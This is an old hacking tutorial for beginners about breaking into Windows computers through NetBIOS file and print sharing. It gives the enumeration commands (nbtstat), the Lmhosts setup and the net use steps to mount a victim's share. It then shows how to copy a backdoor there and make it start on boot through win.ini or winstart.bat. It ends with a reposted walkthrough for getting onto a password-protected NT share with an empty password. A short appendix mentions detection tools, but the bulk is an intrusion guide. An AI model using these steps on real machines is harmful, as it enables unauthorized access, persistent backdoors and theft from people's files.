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Introduction
Remember that I won't go into much detail, because it could start
getting too complicated to explain to newbies. This is a newbies
guide after all. If you want more detailed information about file
sharing search the web, or read some good NT networks administration
books.
Windows has an option called file and print sharing. You can use
this option in order to "share" drive and printers, which
means giving access to files and printers to other people - people
on your own network, specific IPs or even the whole world. When
you turn this option on, you leave an open port (port number 139)
that accepts connections and understand the "NetBIOS protocol",
a set of commands (a "language") used to access remote
file and print sharing servers, so that other computers can access
the files or printers you decided to share.
Now sometimes in a small company LAN this could be extremely useful.
For example, instead of having a seperate printer for each computer,
there's just one central printer in a computer that allows file
and print sharing. But if you are using file sharing in your home
computer (We've seen many people that have this option turned on
and don't even know what it means! Poor souls) that is connected
to the Internet, that could be quite dangerous because anyone who
knows your IP can access your files or printers you're sharing.
If you don't know if file sharing is active in your computer just
go to the control panel and select the Network icon. Now you should
see a box where you can see all the network software that you have
installed, such as TCP/IP (Transfer Control Protocol / Internet
Protocol. This is the protocol that is used to transfer data packets
over the Internet. A protocol is like a human language - if two
computers understand it, they can communicate) and probably a dial-up
adapter (so you could transfer TCP/IP packets over a PPP connection.
PPP, or Point to Point Protocol is the protocol used in dial-up
connections), check if you have a line called File and Printer Sharing.
If you have this then you have sharing activated, to turn it off
just uncheck the "I want to be able to give others access to
my files" and do the same to the other. Let's return to the
ports thing. Remember port 139? The File Sharing Port is port 139
and it's called NetBIOS Session Service port. When you have this
option enabled you also have 2 other ports open but they use the
UDP protocol instead of the TCP protocol. These ports are 137 (Name
Service) and 138 (Datagram Service). Now if you know anything about
DoS attacks (known to many as nukes) port 139 should sound familiar...
There's a kind of DoS (stands for Denial of Service) attack called
the OOB nuke (OOB stands for Out Of Band) or "winnuke"
that sends an OOB packet to port 139 and makes Windows lose connection
and drop the user to "blue screen mode". If you wish to
know more about DoS attacks, I suggest that you wait for the DoS
attacks tutorial (at the time this tutorial was written, the DoS
attacks tutorial didn't exist yet. However, by the time you read
it it might already be available, so you can try and get it from
http://blacksun.box.sk).
Okay, enough said, let's get on with it.
----------- Getting In -----------
I'm going to explain two ways of breaking into a Windows box that
has file sharing enabled. Just to see how unsafe Windows is, the
programs you'll need come with Windows. isn't that ironic? Okay,
of course they come with Windows!
Would you actually expect Microsoft to release an OS that supports
sharing without the tools to access shares?
Now, of course, you can hack file and print sharing through Unix
as well. We'll get to that in the end. Right now we're dealing with
Windows here. Both ways will have equal starts but then in one of
the ways you'll keep typing commands, and in the other way you'll
use a GUI (for the ppl who don't know GUI stands for Graphical User
Interface) software. The programs that you need are called Nbtstat.exe
and Net.exe you can find it in the windows directory. These programs
run from the MS-DOS prompt. To see the help menu for nbtstat type
nbtstat /? And for net type net /?. Now if you are using Windows
95 you can have the option NetBios Over TCP/IP disabled and with
that disabled nbtstat won't work and will display a error message
like this one: "Failed to access NBT driver" without the
quotes. So if this error message comes up just go to the control
panel, and select the network icon. Now select TCP/IP and choose
properties, in the TCP/IP properties box select the NetBIOS sheet,
and enable it checking the box that shouldn't have a cross.
If you have Windows 98 the error message shouldn't be displayed
unless you have some kind of a port blocker on port 139 (such as
Nukenabber). A lot of people have these things on to detect OOB
nuke attempts (usually newbies that can't use a firewall or lamers
that never attempted to. Hopefully not you). Now, you must be thinking
that enabling NetBIOS over TCP/IP opens the same three ports, that
you use to access a computer. That's true, because if you want to
use the same protocol you'll need to use the same default ports,
or you can use a terminal emulator to connect to port 139 and instead
of using the application I mentioned to type the protocol commands,
but that's a real pain in the ass. Remember that there isn't any
problem with the file sharing, because you don't have it enabled,
you've just got the ports open (you are just vulnerable to the DoS
attack, you can use a firewall or get a patch for it at www.theargon.com
(click on defenses and find the OOB patch), but I don't know if
that would block the incoming data from the host that you are trying
to get in).
Now that you have your NbtStat.exe ready to roll, choose the computer.
You can use the hostname or the IP but you need to use different
switches (I'll get to that in a second). Let's suppose for a second
that this computer's hostname is Mycomputer.MyIsp.com and the IP
is 194.65.34.3. The first thing you need to do is to see if the
computer has file sharing enabled. How can you do that? It's easy.
Type:
nbtstat -a hostname
In this case nbtstat -a Mycomputer.MyIsp.com, but if you want to
use the IP you need to type:
nbtstat -A IP
In this case nbtstat -A 194.65.34.3
That's strange because DOS isn't case sensitive... but that's how
things work (I guess that although DOS isn't case sensitive, this
rule doesn't apply to command parameters. Makes more sense than
the opposite). Now you might receive two different kinds of replies.
One that just says "Host Not Found". If you get this message,
you can give up trying to access the share part of that computer,
because that computer hasn't got the NetBIOS protocol enabled, or
you mistyped the hostname or IP. On the other hand, if you get a
table with names, type of sharing and status, it might be your lucky
day! Now if you get this table you're half way in. But remember
that sometimes you will get that table but you will not be able
to do anything productive with it, because the computer won't be
sharing anything.
The table should look something like the one that is below:
Name Type Status
Host <20> UNIQUE Registered
Hostbug <00> GROUP Registered
Host machine <03> UNIQUE Registered
If you want to access your own sharing table just type nbtstat
-n
The values in the brackets can be:
00 base computernames and workgroups, also in "*" queries
01 master browser, in magic __MSBROWSE__ cookie
03 messaging/alerter service; name of logged-in user <--- This
one is cool too ---
20 resource-sharing "server service" name <--- Check
this one ---
1B domain master-browser name
1C domain controller name
1E domain/workgroup master browser election announcement [?]
I'll talk about messaging/alert service later, if you want to read
about it now, just scroll down until you find Messaging/Alert Service.
So if the value in the <xx> box is 20 (by the way, the values
are displayed in hex code) it means that there is sharing enabled.
So now how can someone get in? Easy. First you need to create an
entry in your Lmhosts file (can be found at c:\windows\Lmhosts (yes,
no extension). There is also an example file at c:\windows\Lmhosts.sam,
but this is not the file you should edit. In Windows NT, these files
can be found at c:\WinNT\Lmhosts and c:\WinNT\Lmhosts.sam). If you
don't have the Lmhosts file, just create it. Read all the information
in the sample file file below.
--- Lmhosts.sam file ---
# Copyright (c) 1993-1995 Microsoft Corp.
#
# This is a sample LMHOSTS file used by the Microsoft TCP/IP for
Windows
# NT.
#
# This file contains the mappings of IP addresses to NT computernames
# (NetBIOS) names. Each entry should be kept on an individual line.
# The IP address should be placed in the first column followed by
the
# corresponding computername. The address and the comptername
# should be separated by at least one space or tab. The "#"
character
# is generally used to denote the start of a comment (see the exceptions
# below).
#
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP
lmhosts
# files and offers the following extensions:
#
# #PRE
# #DOM:<domain>
# #INCLUDE <filename>
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in the file with the characters "#PRE"
will cause
# the entry to be preloaded into the name cache. By default, entries
are
# not preloaded, but are parsed only after dynamic name resolution
fails.
#
# Following an entry with the "#DOM:<domain>" tag
will associate the
# entry with the domain specified by <domain>. This affects
how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also
add a
# #PRE to the line. The <domain> is always preloaded although
it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE <filename>" will force the
RFC NetBIOS (NBT)
# software to seek the specified <filename> and parse it as
if it were
# local. <filename> is generally a UNC-based name, allowing
a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address
of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must
be in the
# LanManServer list of "NullSessionShares" in order for
client machines to
# be able to read the lmhosts file successfully. This key is under
#
\machine\system\currentcontrolset\services\lanmanserver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found
there.
#
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.
#
# The following example illustrates all of these extensions:
#
# 102.54.94.97 rhino #PRE #DOM:networking #net group's DC
# 102.54.94.102 "appname \0x14" #special app server
# 102.54.94.123 popular #PRE #source server
# 102.54.94.117 localsrv #PRE #needed for the
include
#
# #BEGIN_ALTERNATE
# #INCLUDE \\localsrv\public\lmhosts
# #INCLUDE \\rhino\public\lmhosts
# #END_ALTERNATE
#
# In the above example, the "appname" server contains
a special
# character in its name, the "popular" and "localsrv"
server names are
# preloaded, and the "rhino" server name is specified
so it can be used
# to later #INCLUDE a centrally maintained lmhosts file if the "localsrv"
# system is unavailable.
#
# Note that the whole file is parsed including comments on each
lookup,
# so keeping the number of comments to a minimum will improve performance.
# Therefore it is not advisable to simply add lmhosts file entries
onto the
# end of this file.
To create an entry just open the Lmhosts file in your favorite
word processor and enter your target's IP, press tab and enter the
share name (the one that is listed in the name field). Save the
file and exit. Now the are two methods to access the remote shares
you're after: the easy way and the cool way.
--- The easy way (GUI) ---
If you don't want to have any more trouble just press start, click
find and select find computer. Enter the target's IP address. If
your Lmhosts entry is correct, it will show the computer you want
in the search window. Just click on the computer icon, and start
browsing through that computer like you were browsing your own computer.
--- The cool way ---
Now it's time to get to know the net.exe program. To access the
help menu just type:
net /? (in a dos Window).
I suggest to redirect all the help to a file and then read it (use
net /? > somefile.txt to redirect all output to somefile.txt
and overwrite it, or net /? >> somefile.txt to append the
output to the file without deleting it). You can also do net option
/? to get more help about that option. To access the share, you
create a virtual drive that will be the share in the other host.
In order to do this you will need to enter:
net use drive \\[ipaddress]\[sharename]
Where:
drive is the drive letter you want. For example f: g: z:
ipaddress is the target host's IP
sharename is the name of the share (remember the table we discussed
about before?)
After doing this you just need to type drive: and then browse the
new drive using Ms-DOS like if you were in your own hard disk (for
example, type: f: If your new virtual drive has been assigned the
letter f).
Example:
Lets say that you coded a *really cool* backdoor, and you want
to run on a computer that has share enabled, the share name is Flintstone
and the ipaddress is 145.42.23.14 .
c:\>net use f: \\145.42.23.14\Flinstone
Now you would just need to copy the backdoor to the new virtual
drive.
c:\>copy backdoor.exe f:\backdoor.exe
----- First Version Text ------
Then you would just change drive and run the backdoor.
c:\>f:
f:\>backdoor.exe
And the backdoor is loaded, so now you can use it to access this
computer.
--------------------------------------------------------------------------------
I'm deeply sorry, but what is written between the ----First Version
Text--- is wrong. Using what is there what probably would happen
was installing the backdoor in your own computer and not in the
target host. Thanks to Kimmo from the a-Men Group that correct me.
What you really need to do is to copy the backdoor.exe file to the
share, and then edit the win.ini file adding the line:
run=%SystemRoot%\backdoor.exe
--------------------------------------------------------------------------------
NOTE: Why %SystemRoot% ?
We need to use %SystemRoot% instead of F:, because F: is a virtual
drive so in the the host that drive could not exist, so you use
the variable %SystemRoot% that will return the correct drice.
--------------------------------------------------------------------------------
Of course, you can also put the backdoor in other places, such
as c:\windows\winstart.bat (enter the line %SystemRoot%\backdoor.exe
as a new blank line). If there is no such file, create it.
Messaging/Alert Service
What's this feature? It doesn't let you access the files for certain,
but it's kinda fun, because what it does is send a message, in Message
Box Format to the other host. Watch the face of the guy that is
on the computer when he sees a message box saying "Error: User
To Stupid". However, you need to remember that your host will
be shown in the message box, but if you spoof your host, you can
have a good laugh with this. When using this feature you also need
to create a new entry in your Lmhosts file. Remember that this can
only be used in a LAN network such as a school LAN with your friends,
just to see their faces, nothing more. Even if you wanted to send
it over the Internet you couldn't because it uses a broadcast system,
and when any broadcasted packets get to a router they are immediately
deleted (security reasons. Off the topic of this tutorial).
To send a message to the other computer that computer needs to
have a <03> value. As you can see in the table somewhere in
the middle of the file, &l;03 says:
03 messaging/alerter service; name of logged-in user <--- This
one is cool too ---
So if your target computer has this turned on you can send a message
by typing: net send sharename message If you are in an LAN and don't
want people to mess with you, type: net stop messenger Doing this
you stop the msg service, so you won't be able to send or receive
messages using the net send syntax. If you want to enable it again,
type:
net start messenger
Now you'll be able to send and receive messages again.
Appendix A: Accessing Windows shares from Unix
The easiest way is to use an X-Windows program called LinNeighborhood,
which can be downloaded from http://www.bnro.de/~schmidjo/. However,
you can also do that from your console or xterm window, by using
the smb commands. To learn more, read the man pages of the following
commands:
smbclient
smbmnt
smbmount
smbprint
smbumount
Appendix B: Finding sharing hosts
Suppose you're an admin that wants to scan his network for vulnerable
hosts. Suppose you're a bored cracker that wants to find possible
targets. In both cases you'd want to have a shares scanner to do
the job for you. You can use a shares scanner to scan whole subnets
and look for vulnerable hosts for you. Get Legion or NbtScan from
packetstorm.securify.com.
Appendix C: Password-Protected shares
Are you an admin that wants to test how strong his password protected
shares are? Are you a cracker that came across a password-protected
share and don't know what to do? You could try to get a brute-force
sharing password cracker that'll try passwords for you until it
finds the correct one. Cain is one such program, that also has some
other features that you might want to check out.
Appendix D: Detecting Sharing Attacks
Sharing attacks are usually pretty easy to detect (unless the attacker
is spoofing or performing his attack from another host, thus making
it appear as if the other host is really the attacker). The simplest
program for the job is Lockdown 2000 (from www.lockdown.com). However,
it is quite buggy and doesn't always perform well. You can also
try Notron AtGuard (www.norton.com) - I believe it can also detect
sharing attacks, although I havn't tested it yet. However, if you're
going for the real thing, you should try and get a good firewall
or intrusion detection system. My personal favorite for Unix systems
is ipchains (search linux.box.sk, freshmeat.net or any of your other
favorites), while for Windows systems I recommend Firewall-1 (search
the net, you should be able to come across it pretty quickly).
Appendix E: An Easier Way to Access Shares
Got the target's IP address? Good. Got the share name? Good. Now
hit start, then hit run, and then type:
//ip-address(or hostname)/sharename
For example: //65.4.78.203/someshare
You will be able to access the share using an interface similar
to what you get when you double-click on the "my computer"
icon, and get rid of the need to assign a virtual drive.
http://blacksun.box.sk
Appendix F: Breaking Password-Protected Shares Without Brute-Forcing
The following was pasted from the Keen Veracity e-zine, volume 9:
[More Bugs In Windows NT]===============================================[Ntwak0]
Subject: Password problem In NT when connecting to a share, should
I say you do not need a password in some cases even if it is protected
I mean :)
Monday, December 27, 1999 by NtWaK0
Tested on NT 4.0 +SP6 + SP6a.
I will try to do it by example in this case you will be able to
repeat it
--> I am going to map a network share call it X:
E:\Tmp>net use x: \\1.1.1.1\tmp passwordhere /user:ntwak0
The command completed successfully.
--> I done net view to see the shared resources
E:\Tmp>net view \\1.1.1.1
Shared resources at \\1.1.1.1
Share name Type Used as Comment
Tmp Disk X:
The command completed successfully.
--> Now I copyed a file to X: to use the 1.1.1.1 resources.
E:\Tmp>copy test.txt x:
1 file(s) copied.
--> Now I delete the connection I created to 1.1.1.1 using X:
E:\Tmp>net use /delete x:
x: was deleted successfully.
--> Now I tryed to recreate the connection using NULL password
just for fun i was doing this
E:\Tmp>net use x: \\1.1.1.1\tmp "" /user:ntwak0
System error 1326 has occurred.
Logon failure: unknown user name or bad password.
E:\Tmp>
--> It is normal I could not login now I done
The Bug:
--> Now Reconnect using the command line
E:\Tmp>net use x: \\1.1.1.1\tmp passwordhere /user:ntwak0
The command completed successfully.
--> I used Explorer to copy the same file test.txt from my drive
E:\tmp to the mapped drive X:
--> I got a msg saying "The file already exist do you wana
overwrite it?" I said yes, well it is normal I did copy it
before as you saw in the step above .
--> After copying the file in explorer I did right click on
X: (the mapped drive) and disconnect
--> I got a msg box saying "There are currently files open
on X: (connected to \\1.1.1.1\tmp).
If you do close the files before disconnecting from the network,
data may be lost.
"Do you want to disconnect the device anyway?"
Then I clicked Yes in this case I have no more connection mapped
to X: In this case I should not be able to connect without password
or username but not true ;)
--> Next I do not know what I tried it I guess for fun In DOS
window I typed
E:\Tmp>net use x: \\1.1.1.1\tmp "" /user:ntwak0
The command completed successfully.
--> W00t I was able to login I did not believe hehe with no
password.
--> To make sure i was not dreaming or missing sleep, I was
able to repeat it like 10 times.
But if you do connect and disconnect using net use /delete x: this
will work and you cannot connect with no password like the explore
case.
So you this is a security bug that you can reproduce it in explore
and DOS command and it has to follow certain steps . What do I mean
by that ? well you have to disconnect using explore and when you
get the msg saying : "There are currently files open on X:(connected
to \\1.1.1.1\tmp) blah blah... In that case if you disconnect and
reconnect right after using no password that should work. ;) But
if you do it all from the command line this should not work and
that is normal.
Here is an example done all by command line:
E:\Tmp>net use x: \\1.1.1.1\tmp " q]a'z/ " /user:ntwak0
The command completed successfully.
E:\Tmp>copy test.txt x:test.txt
1 file(s) copied.
E:\Tmp>net use /delete x:
x: was deleted successfully.
E:\Tmp>net use x: \\1.1.1.1\tmp "" /user:ntwak0
System error 1326 has occurred. Logon failure: unknown user name
or bad password.
E:\Tmp>
Cheers,
|-+-||-+-|-+-|-+-|oOo-(NtWaK0)(Telco. Eng. Etc..)-oOo|-+-|-+-|-+-||-+-|
The only secure computer is one that's unplugged, locked in a
safe, and buried 20 feet under the ground in a secret location...
and i'm not even too sure about that one"--Dennis Huges, FBI.
|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-|-+-||-+-||-+-|
Live Well Do Good --:)
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